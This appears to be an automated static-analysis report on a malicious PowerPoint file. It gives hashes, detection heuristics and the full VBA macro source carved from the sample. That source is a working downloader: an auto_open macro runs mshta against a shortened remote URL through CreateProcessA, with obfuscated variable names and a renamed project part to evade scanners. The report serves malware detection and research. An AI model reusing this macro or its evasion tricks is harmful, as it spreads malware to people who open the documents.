Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7dfb9e1d5134ea92…

MALICIOUS

Office (OOXML)

12.8 KB First seen: 2021-07-02
MD5: 5d2c2909447caedc566b48c829005dc4 SHA-1: 15a22b9a90a66ba2b2d0f9f90103b7332d1f4019 SHA-256: 7dfb9e1d5134ea92dbaba4c781bf8ec9987dfb3be56c656f0c45332bb67acb9d
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing VBA macros, with a critical heuristic indicating the use of a LOLBin reference and execution via the 'Shell' function within an auto_open macro. This strongly suggests the document is designed to execute arbitrary code, likely a second-stage payload. The VBA project part was also renamed to evade detection.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/asjdaasdodassasdjasddasdoasjdasdoajsdjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.bin)
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    For i = 1 To 3
    arraymain(i).barcode = "mshta "
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module1"
    Sub auto_open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2943 bytes
SHA-256: 792f0886e64e0c5fdd1ee12137bed5cf8c66af2afa2207ba65e44092f2bff261
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public date_borrowed As String
Public date_due As String
Public barcode As String



Attribute VB_Name = "Module1"
Sub auto_open()

Dim obj As New Class11

obj.Procedurecall

End Sub





Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Option Explicit
Private Type moneESS_CALL
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Private Type SYS_BREA
hmoneess As Long
hThread As Long
dwmoneessID As Long
dwThreadID As Long
End Type

Private Declare Function CreateProcessA Lib "kernel32" (ByVal _
lpApplicationName As Long, ByVal lpCommandLine As String, ByVal _
lpmoneessAttributes As Long, ByVal lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, _
lpmoneESS_CALL As moneESS_CALL, lpmoneessInformation As _
SYS_BREA) As Long



Private Const NORMAL_PRIORITY_CLASS = &H20&
Private Const INFINITE = -1&



Public Sub SUSSYBAKA(cmdline As String)
Dim mone As SYS_BREA
Dim hone As moneESS_CALL
Dim ReturnValue As Integer

' Initialize the moneESS_CALL structure:
hone.cb = Len(hone)

' hone the shelled application:
ReturnValue = CreateProcessA(0&, cmdline$, 0&, 0&, 1&, _
NORMAL_PRIORITY_CLASS, 0&, 0&, hone, mone)


End Sub



Attribute VB_Name = "Class11"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public boba As String
Public boba2 As String
Public boba3 As String

Public Sub Procedurecall()

Dim arraymain(1 To 3) As New Class1
For i = 1 To 3
arraymain(i).barcode = "mshta "

arraymain(i).date_borrowed = "https://www."

arraymain(i).date_due = "bitly.com/asdhwddwjdwiidwowdiahsidh"

boba = arraymain(i).barcode
bob2 = arraymain(i).date_borrowed
bob3 = arraymain(i).date_due

Next i

Dim obj As New Class2
obj.SUSSYBAKA (boba + bob2 + bob3)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/asjdaasdodassasdjasddasdoasjdasdoajsdjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.bin 27648 bytes
SHA-256: e05083f38fc04f11d7ad2d2a51fdcd19b51db0ad470a44e4c4e9e23ab6f6d922